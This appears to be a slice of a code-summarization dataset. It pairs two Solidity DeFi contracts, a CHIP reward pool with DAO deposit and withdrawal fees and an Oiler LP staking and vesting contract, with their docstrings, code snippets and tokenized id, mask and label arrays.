-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./owner/Operator.sol";
// Note: This pool has no minter key of CHIPs (rewards). Instead, the governance will call
// CHIPs distributeReward method and send reward to this pool at the beginning.
contract ChipRewardPool is Operator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public DAO = 0x1C3dF661182c1f9cc8afE226915e5f91E93d1A6f;
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CHIPs to distribute per block.
uint256 lastRewardBlock; // Last block number that CHIPs distribution occurs.
uint256 accChipsPerShare; // Accumulated CHIPs per share, times 1e18.
bool isStarted; // Has lastRewardBlock passed?
}
IERC20 public CHIPS;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0; // Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public startBlock; // The block number when CHIPS minting starts.
uint256 public endBlock; // The block number when CHIPS minting ends.
uint256 public timeLockBlock;
uint256 public constant BLOCKS_PER_DAY = 28800; // 86400 / 3;
uint256 public rewardDuration = 10; // Days.
uint256 public totalRewards = 50 ether;
uint256 public rewardPerBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _CHIPS, uint256 _startBlock) {
require(block.number < _startBlock, "ChipRewardPool.constructor(): The current block is after the specified start block.");
if (_CHIPS != address(0)) CHIPS = IERC20(_CHIPS);
startBlock = _startBlock;
endBlock = startBlock.add(BLOCKS_PER_DAY.mul(rewardDuration));
rewardPerBlock = totalRewards.div(endBlock.sub(startBlock));
timeLockBlock = startBlock.add(BLOCKS_PER_DAY.mul(rewardDuration.add(1)));
}
function checkPoolDuplicate(IERC20 _lpToken) internal view {
uint256 length = poolInfo.length;
require(length < 6, "ChipRewardPool.checkPoolDuplicate(): Pool size exceeded.");
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].lpToken != _lpToken, "ChipRewardPool.checkPoolDuplicate(): Found duplicate token in pool.");
}
}
// Add a new lp token to the pool. Can only be called by the owner. can add only 5 lp token.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock) external onlyOperator {
require(poolInfo.length < 5, "ChipRewardPool: can't add pool anymore");
checkPoolDuplicate(_lpToken);
if (_withUpdate) {
massUpdatePools();
}
if (block.number < startBlock) {
// The chef is sleeping.
if (_lastRewardBlock == 0) {
_lastRewardBlock = startBlock;
} else {
if (_lastRewardBlock < startBlock) {
_lastRewardBlock = startBlock;
}
}
} else {
// The chef is cooking.
if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) {
_lastRewardBlock = block.number;
}
}
bool _isStarted =
(_lastRewardBlock <= startBlock) ||
(_lastRewardBlock <= block.number);
poolInfo.push(PoolInfo({
lpToken : _lpToken,
allocPoint : _allocPoint,
lastRewardBlock : _lastRewardBlock,
accChipsPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's CHIPs allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
require(block.number > timeLockBlock, "ChipRewardPool: Locked");
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(
_allocPoint
);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) {
if (_from >= _to) return 0;
if (_to <= startBlock) {
return 0;
} else if (_to >= endBlock) {
if (_from >= endBlock) {
return 0;
} else if (_from <= startBlock) {
return rewardPerBlock.mul(endBlock.sub(startBlock));
} else {
return rewardPerBlock.mul(endBlock.sub(_from));
}
} else {
if (_from <= startBlock) {
return rewardPerBlock.mul(_to.sub(startBlock));
} else {
return rewardPerBlock.mul(_to.sub(_from));
}
}
}
// View function to see pending CHIPs.
function pendingReward(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accChipsPerShare = pool.accChipsPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _CHIPSReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accChipsPerShare = accChipsPerShare.add(_CHIPSReward.mul(1e18).div(lpSupply));
}
return user.amount.mul(accChipsPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() internal {
uint256 length = poolInfo.length;
require(length < 6, "ChipRewardPool.massUpdatePools(): Pool size exceeded.");
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _CHIPSReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accChipsPerShare = pool.accChipsPerShare.add(_CHIPSReward.mul(1e18).div(lpSupply));
}
pool.lastRewardBlock = block.number;
}
// Deposit tokens.
function deposit(uint256 _pid, uint256 _amount) external nonReentrant {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accChipsPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeChipsTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
uint256 FeeToDAO = 0;
if(_pid != 4){
// In case of BNB, BUSD, BTD, BTS pool, users have to pay 1% fee when they deposit.
FeeToDAO = _amount.div(100);
}
if(FeeToDAO > 0) pool.lpToken.safeTransferFrom(_sender, DAO, FeeToDAO);
pool.lpToken.safeTransferFrom(_sender, address(this), _amount.sub(FeeToDAO));
user.amount = user.amount.add(_amount.sub(FeeToDAO));
}
user.rewardDebt = user.amount.mul(pool.accChipsPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw tokens.
function withdraw(uint256 _pid, uint256 _amount) external nonReentrant {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "ChipRewardPool.withdraw(): User amount less than withdrawal amount.");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accChipsPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeChipsTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
uint256 FeeToDAO = 0;
if(_pid == 4){
// In case of CHIP/BNB pool, users have to pay 3% fee when they withdraw.
FeeToDAO = _amount.mul(3).div(100);
}
if(FeeToDAO > 0) pool.lpToken.safeTransfer(DAO, FeeToDAO);
pool.lpToken.safeTransfer(_sender, _amount.sub(FeeToDAO));
user.amount = user.amount.sub(_amount);
}
user.rewardDebt = user.amount.mul(pool.accChipsPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. Emergency only.
function emergencyWithdraw(uint256 _pid) external {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe CHIPs transfer function, just in case if rounding error causes pool to not have enough CHIPs.
function safeChipsTransfer(address _to, uint256 _amount) internal {
uint256 _CHIPSBal = CHIPS.balanceOf(address(this));
if (_CHIPSBal > 0) {
if (_amount > _CHIPSBal) {
CHIPS.safeTransfer(_to, _CHIPSBal);
} else {
CHIPS.safeTransfer(_to, _amount);
}
}
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
require(block.number > timeLockBlock, "ChipRewardPool: locked");
if (block.number < endBlock + BLOCKS_PER_DAY * 180) {
// Do not allow to drain lpToken if less than 180 days after farming.
require(_token != CHIPS, "ChipRewardPool.governanceRecoverUnsupported(): Not a chip token.");
uint256 length = poolInfo.length;
require(length < 6, "ChipRewardPool.governanceRecoverUnsupported(): Pool size exceeded.");
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.lpToken, "ChipRewardPool.governanceRecoverUnsupported(): Skipping liquidity provider token.");
}
}
_token.safeTransfer(to, amount);
}
function getPoolStatus() external view returns(uint256) {
uint256 status;
if(block.number <= startBlock) status = 0;
else if(block.number > endBlock) status = 2;
else status = 1;
return status;
}
}
|
Accumulated CHIPs per share, times 1e18.
|
uint256 accChipsPerShare;
| 1,773,164 |
[
1,
8973,
5283,
690,
6469,
18246,
1534,
7433,
16,
4124,
404,
73,
2643,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
4078,
782,
7146,
2173,
9535,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @notice Wording below needs to properly represent the legal terms so has to be reviewed
/// @notice Comments have been written by the development team and may not represent the actual terms of the contract correctly
/// @title Oiler Staking
/// @author oiler.network
/// @dev that staking contract is fully dependent on the provided reward token and the underlying LP token.
/**
* @notice Staking contract assumes there is a Staking Program going on until a specified Staking Program End Date.
* And there is an amount of Oiler tokens that is gonna be given away to incentivise participation in the Staking Program (called StakingFund).
*
* During this Program - users commit to lock tokens for some period of time, earning RewardPoints (if they don't unlock prematurely).
* RewardPoints multiplier grows linearly with the locking period length (see the formula in calculateStakingRewardPoints() function)
*
* After the end of the Staking Program - the amount of RewardPoints earned by each user is relatively compared to the total RewardPoints
* earned by all staking participants - and the OIL tokens from StakingFund are divided among them accordingly, by their RewardPoints proportions.
*/
contract Staking {
/**
* @dev Saving gas by using lower-bit variables to fit the Stake struct into 256bits
*
* LP Tokens are calculated by this formula:
* LP Tokens = sqrt(tokenAmount * e18 * usdcAmount * e6) =
* = sqrt(100 000 000 * usdcAmount * e24) = // here 100 000 000 is totalSupply of OIL
* = sqrt(usdcAmount * e32) =
* = sqrt(usdcAmount) * e16
*
* Thus the maximum amount of USDC we can use to not overflow the maximum amount of uint72 (4722 e18) will be:
* sqrt(usdcAmount) * e16 < 4722 * e18
* sqrt(usdcAmount) < 472 200
* usdcAmount < 222 972 840 000
* Which is over two hundred trillion dollars - the amount highly improbable at our Uniswap pool as for today
*
* tokenAmount is limited by LP tokens amount (4722e18 LPs for hundreds of trillions of dollars) (Range: [0 - 4722 e18] - uint72 (max 4722 e18))
* lockingPeriodInBlocks is limited by Staking Program duration (around 700000 blocks) (Range: [1 - 700000] - uint24 (max 16 777 215))
* startBlock is in a typical range of Mainnet, Testnets, local networks blocks range (Range: [0 - 100 000 000] - uint32 (max 4 294 967 295))
*
* expectedStakingRewardPoints is limited by:
* LP tokens amount * lockingPeriodInBlocks * lockingPeriodInBlocks
* which is:
* uint72 * uint24 * uint24 = which gives us max uint120, but we use uint128 anyway (Range: [0 - 1.33 e36] - uint128 (max 340 e36))
*/
struct Stake {
uint72 tokenAmount; // Amount of tokens locked in a stake
uint24 lockingPeriodInBlocks; // Arbitrary lock period that will give you a reward
uint32 startBlock; // Start of the locking
uint128 expectedStakingRewardPoints; // The amount of RewardPoints the stake will earn if not unlocked prematurely
}
/// @notice Active stakes for each user
mapping (address => Stake) public stakes;
/// @notice "Reward points" each user earned (would be relative to totalRewardPoints to get the percentage)
mapping (address => uint256) public rewardPointsEarned;
/// @notice Total "reward points" all users earned
uint256 public totalRewardPoints;
/// @notice Block when Staking Program ends
uint256 immutable public stakingProgramEndsBlock;
/// @notice Amount of Staking Bonus Fund (500 000 OIL), Oiler funds must be here, approved and ready to be transferredFrom
uint256 immutable public stakingFundAmount;
/// @notice Uniswap pool that we accept LP tokens from
IERC20 public poolToken;
/// @notice Oiler token that will be given as a reward
IERC20 immutable public oilerToken;
/// @notice The amount of OIL tokens earned, granted to be released during vesting period
mapping (address => uint256) public grantedTokens;
/// @notice The amount of OIL tokens that were already released during vesting period
mapping (address => uint256) public releasedTokens;
/// @dev In blocks - should be around 100 days
uint256 immutable public vestingDuration;
/// @dev Check if poolToken was initialized
modifier poolTokenSet() {
require(address(poolToken) != address(0x0), "poolToken not set");
_;
}
/// @dev Owner is used only in setPoolToken()
address immutable public owner;
/// @dev Used only in setPoolToken()
modifier onlyOwner() {
require(msg.sender == owner, "Can only be called by owner");
_;
}
/**
* @dev before deploying the stakingFundAddress must have set allowances on behalf of that contract. The address can be predicted basing on the CREATE or CREATE2 opcode.
* @param oilerToken_ - address of the token in which rewards will be payed off.
* @param stakingDurationInBlocks_ - Number of blocks after which staking will end.
* @param stakingFundAmount_ - Amount of tokens to be payed of as rewards.
* @param vestingDuration_ - Number of blocks after which OIL tokens earned by staking will be released (duration of Vesting period).
* @param owner_ - Owner of the contract (is used to initialize poolToken after it's available).
*/
constructor(address oilerToken_, uint256 stakingDurationInBlocks_, uint256 stakingFundAmount_, uint256 vestingDuration_, address owner_) {
require(owner_ != address(0x0), "Owner address cannot be zero");
owner = owner_;
require(oilerToken_ != address(0x0), "oilerToken address cannot be zero");
oilerToken = IERC20(oilerToken_);
stakingProgramEndsBlock = block.number + stakingDurationInBlocks_;
vestingDuration = vestingDuration_;
stakingFundAmount = stakingFundAmount_;
}
/// @notice Initialize poolToken when OIL<>USDC Uniswap pool is available
function setPoolToken(address poolToken_, address stakingFundAddress_) public onlyOwner {
require(address(poolToken) == address(0x0), "poolToken was already set");
require(poolToken_ != address(0x0), "poolToken address cannot be zero");
poolToken = IERC20(poolToken_);
// Transfer the Staking Bonus Funds from stakingFundAddress here
require(IERC20(oilerToken).balanceOf(stakingFundAddress_) >= stakingFundAmount, "StakingFund doesn't have enough OIL balance");
require(IERC20(oilerToken).allowance(stakingFundAddress_, address(this)) >= stakingFundAmount, "StakingFund doesn't have enough allowance");
require(IERC20(oilerToken).transferFrom(stakingFundAddress_, address(this), stakingFundAmount), "TransferFrom of OIL from StakingFund failed");
}
/**
* @notice Calculates the RewardPoints user will earn for a given tokenAmount locked for a given period
* @dev If any parameter is zero - it will fail, thus we save gas on "requires" by not checking in other places
* @param tokenAmount_ - Amount of tokens to be stake.
* @param lockingPeriodInBlocks_ - Lock duration defined in blocks.
*/
function calculateStakingRewardPoints(uint72 tokenAmount_, uint24 lockingPeriodInBlocks_) public pure returns (uint128) {
//
// / \
// stakingRewardPoints = ( tokenAmount * lockingPeriodInBlocks ) * lockingPeriodInBlocks
// \ /
//
uint256 stakingRewardPoints = uint256(tokenAmount_) * uint256(lockingPeriodInBlocks_) * uint256(lockingPeriodInBlocks_);
require(stakingRewardPoints > 0, "Neither tokenAmount nor lockingPeriod couldn't be 0");
return uint128(stakingRewardPoints);
}
/**
* @notice Lock the LP tokens for a specified period of Blocks.
* @notice Can only be called before Staking Program ends.
* @notice And the locking period can't last longer than the end of Staking Program block.
* @param tokenAmount_ - Amount of LP tokens to be locked.
* @param lockingPeriodInBlocks_ - locking period duration defined in blocks.
*/
function lockTokens(uint72 tokenAmount_, uint24 lockingPeriodInBlocks_) public poolTokenSet {
// Here we don't check lockingPeriodInBlocks_ for being non-zero, cause its happening in calculateStakingRewardPoints() calculation
require(block.number <= stakingProgramEndsBlock - lockingPeriodInBlocks_, "Your lock period exceeds Staking Program duration");
require(stakes[msg.sender].tokenAmount == 0, "Already staking");
// This is a locking reward - will be earned only after the full lock period is over - otherwise not applicable
uint128 expectedStakingRewardPoints = calculateStakingRewardPoints(tokenAmount_, lockingPeriodInBlocks_);
Stake memory stake = Stake(tokenAmount_, lockingPeriodInBlocks_, uint32(block.number), expectedStakingRewardPoints);
stakes[msg.sender] = stake;
// We add the rewards initially during locking of tokens, and subtract them later if unlocking is made prematurely
// That prevents us from waiting for all users to unlock to distribute the rewards after Staking Program Ends
totalRewardPoints += expectedStakingRewardPoints;
rewardPointsEarned[msg.sender] += expectedStakingRewardPoints;
// We transfer LP tokens from user to this contract, "locking" them
// We don't check for allowances or balance cause it's done within the transferFrom() and would only raise gas costs
require(poolToken.transferFrom(msg.sender, address(this), tokenAmount_), "TransferFrom of poolTokens failed");
emit StakeLocked(msg.sender, tokenAmount_, lockingPeriodInBlocks_, expectedStakingRewardPoints);
}
/**
* @notice Unlock the tokens and get the reward
* @notice This can be called at any time, even after Staking Program end block
*/
function unlockTokens() public poolTokenSet {
Stake memory stake = stakes[msg.sender];
uint256 stakeAmount = stake.tokenAmount;
require(stakeAmount != 0, "You don't have a stake to unlock");
require(block.number > stake.startBlock, "You can't withdraw the stake in the same block it was locked");
// Check if the unlock is called prematurely - and subtract the reward if it is the case
_punishEarlyWithdrawal(stake);
// Zero the Stake - to protect from double-unlocking and to be able to stake again
delete stakes[msg.sender];
require(poolToken.transfer(msg.sender, stakeAmount), "Pool token transfer failed");
}
/**
* @notice If the unlock is called prematurely - we subtract the bonus
*/
function _punishEarlyWithdrawal(Stake memory stake_) internal {
// As any of the locking periods can't be longer than Staking Program end block - this will automatically mean that if called after Staking Program end - all stakes locking periods are over
// So no rewards can be manipulated after Staking Program ends
if (block.number < (stake_.startBlock + stake_.lockingPeriodInBlocks)) { // lt - cause you can only withdraw at or after startBlock + lockPeriod
rewardPointsEarned[msg.sender] -= stake_.expectedStakingRewardPoints;
totalRewardPoints -= stake_.expectedStakingRewardPoints;
emit StakeUnlockedPrematurely(msg.sender, stake_.tokenAmount, stake_.lockingPeriodInBlocks, block.number - stake_.startBlock);
} else {
emit StakeUnlocked(msg.sender, stake_.tokenAmount, stake_.lockingPeriodInBlocks, stake_.expectedStakingRewardPoints);
}
}
/**
* @notice This can only be called after the Staking Program ended
* @dev Which means that all stakes lock periods are already over, and totalRewardPoints value isn't changing anymore - so we can now calculate the percentages of rewards
*/
function getRewards() public {
require(block.number > stakingProgramEndsBlock, "You can only get Rewards after Staking Program ends");
require(stakes[msg.sender].tokenAmount == 0, "You still have a stake locked - please unlock first, don't leave free money here");
require(rewardPointsEarned[msg.sender] > 0, "You don't have any rewardPoints");
// The amount earned is calculated as:
//
// user RewardPoints earned during Staking Program
// amountEarned = stakingFund * -------------------------------------------------------
// total RewardPoints earned by everyone participated
//
// Division always rounds towards zero in solidity.
// And because of this rounding somebody always misses the fractional part of their earnings and gets only integer amount.
// Thus the worst thing that can happen is amountEarned becomes 0, and we check for that in _grantTokens()
uint256 amountEarned = stakingFundAmount * rewardPointsEarned[msg.sender] / totalRewardPoints;
rewardPointsEarned[msg.sender] = 0; // Zero rewardPoints of a user - so this function can be called only once per user
_grantTokens(msg.sender, amountEarned); // Grant OIL reward earned by user for future vesting during the Vesting period
}
//////////////////////////////////////////////////////
//
// VESTING PART
//
//////////////////////////////////////////////////////
/**
* @param recipient_ - Recipient of granted tokens
* @param amountEarned_ - Amount of tokens earned to be granted
*/
function _grantTokens(address recipient_, uint256 amountEarned_) internal {
require(amountEarned_ > 0, "You didn't earn any integer amount of wei");
require(recipient_ != address(0), "TokenVesting: beneficiary is the zero address");
grantedTokens[recipient_] = amountEarned_;
emit RewardGranted(recipient_, amountEarned_);
}
/// @notice Releases granted tokens
function release() public {
uint256 releasable = _releasableAmount(msg.sender);
require(releasable > 0, "Vesting release: no tokens are due");
releasedTokens[msg.sender] += releasable;
require(oilerToken.transfer(msg.sender, releasable), "Reward oilers transfer failed");
emit grantedTokensReleased(msg.sender, releasable);
}
/// @notice Releasable amount is what is available at a given time minus what was already withdrawn
function _releasableAmount(address recipient_) internal view returns (uint256) {
return _vestedAmount(recipient_) - releasedTokens[recipient_];
}
/**
* @notice The output of this function gradually changes from [0.. to ..grantedAmount] while the vesting is going
* @param recipient_ - vested tokens recipient
* @return vested amount
*/
function _vestedAmount(address recipient_) internal view returns (uint256) {
if (block.number >= stakingProgramEndsBlock + vestingDuration) {
// Return the full granted amount if Vesting Period is over
return grantedTokens[recipient_];
} else {
// Return the proportional amount if Vesting Period is still going
return grantedTokens[recipient_] * (block.number - stakingProgramEndsBlock) / vestingDuration;
}
}
event StakeLocked(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 expectedStakingRewardPoints);
event StakeUnlockedPrematurely(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 actualLockingPeriodInBlocks);
event StakeUnlocked(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 rewardPoints);
event RewardGranted(address recipient, uint256 amountEarned);
event grantedTokensReleased(address recipient, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
|
@notice Releases granted tokens
|
function release() public {
uint256 releasable = _releasableAmount(msg.sender);
require(releasable > 0, "Vesting release: no tokens are due");
releasedTokens[msg.sender] += releasable;
require(oilerToken.transfer(msg.sender, releasable), "Reward oilers transfer failed");
emit grantedTokensReleased(msg.sender, releasable);
}
| 10,115,079 |
[
1,
26217,
17578,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3992,
1435,
1071,
288,
203,
3639,
2254,
5034,
6707,
345,
429,
273,
389,
16599,
345,
429,
6275,
12,
3576,
18,
15330,
1769,
203,
3639,
2583,
12,
16599,
345,
429,
405,
374,
16,
315,
58,
10100,
3992,
30,
1158,
2430,
854,
6541,
8863,
